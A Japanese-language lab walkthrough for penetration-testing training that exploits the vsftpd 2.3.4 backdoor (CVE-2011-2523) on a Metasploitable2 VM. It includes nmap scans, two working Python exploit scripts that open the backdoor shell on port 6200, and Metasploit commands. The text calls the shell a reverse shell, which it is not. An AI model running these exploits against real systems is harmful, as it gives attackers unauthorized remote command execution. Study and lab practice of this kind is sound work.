
vsftpd 2.3.4 バックドア (CVE-2011-2523) の手動および自動エクスプロイトウォークスルー。カスタムリバースシェルペイロードとMetasploit統合によるペネトレーションテストトレーニング用。
これらは、管理された環境での攻撃手法の作成に関するメモです。 この演習はブラックボックスであるという前提に立っており、したがって標的システムの情報は不明です。
1- 必要なISO(Metaexploitable2、Kali、またはその他)をダウンロードする 2- 重要:環境はVMwareで設定されているため、両方のマシンをこのハイパーバイザーで実行する必要がある 3- 初期プロセス:ipを実行して2地点間の接続を確認する 4- nmap -sV -Pn 192.168.253.128 を使用する。認識を実行すると、複数のポートが見つかる 21 ftp vsftpd 2.3.4
トレーニングの一環として、各ポートを攻撃して複数の方法で侵入することを目的としている。次のポートから開始する。 可能な限り現実の状況を解決またはシミュレートするために、ブラックボックス状況を試みる。
まず、nmap -Pn -sV 10.0.2.5 を使用して開始する。 公開データベースで検索すると、CVE-2011-2523が見つかる。これはバックドアであり、これを悪用して標的マシンにアクセスすることを試みる。
まず、この特定のケースで実行するエクスプロイトにバックドアが存在することを理解する必要がある。 既存の脆弱性を利用してこのシステムを侵害する方法を模索すると、packetstorm.news に情報が見つかる。POCが提示されており、これはエクスプロイト可能であることを証明しているが、以下のコードのように完全に機能するわけではない:
#!/usr/bin/python3
from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit
def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)" password="PASS pass"
tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send exit to quit shell')
tn2.interact()
このコードを読むと、意図しているのはエクスプロイトが可能であることを証明することであり、機能的なスクリプトを作ることではないことが理解できる。そのため、より現実的な練習を行うために、コード実行時に適切なアクセスを可能にするリバースシェルを持つように大幅な修正を加えた。コードの修正により以下の結果が得られた:
#!/usr/bin/env python3
import socket import sys import time
def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")
# Enviar payload del backdoor
s.sendall(b'USER backdoor:)\r\n')
time.sleep(0.5)
s.sendall(b'PASS whatever\r\n')
time.sleep(0.5)
s.close()
return True
except Exception as e:
print(f"[!] Error conectando al FTP: {e}")
return False
def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")
while True:
cmd = input("shell> ")
if cmd.strip().lower() == "exit":
break
shell.sendall((cmd + "\n").encode())
# Lee todos los datos disponibles hasta timeout
output = b""
while True:
try:
chunk = shell.recv(4096)
if not chunk:
break
output += chunk
# Espera un poco para ver si hay más datos
time.sleep(0.1)
except socket.timeout:
break
if output:
print(output.decode(errors='ignore'))
else:
print("[!] Sin respuesta del shell.")
shell.close()
except Exception as e:
print(f"[!] Falló al conectar con la shell: {e}")
if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)
target_ip = sys.argv[1]
if connect_ftp(target_ip):
time.sleep(1) # Da tiempo al backdoor para abrir el puerto
connect_backdoor_shell(target_ip)
else:
print("[!] No se pudo conectar o el objetivo no parece vulnerable.")
上記のことから、この例に取り組むには手動で回りくどい方法かもしれないが、セキュリティの分野で成長しスキルを向上させるためにさまざまな選択肢を作り出すことが目的である。
もう一つの方法は、Metasploitを以下のように使用することである:
msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run
理解されるように、両方ともまったく同じことを行うが、一方は自動化されており、もう一方はより手動のプロセスである。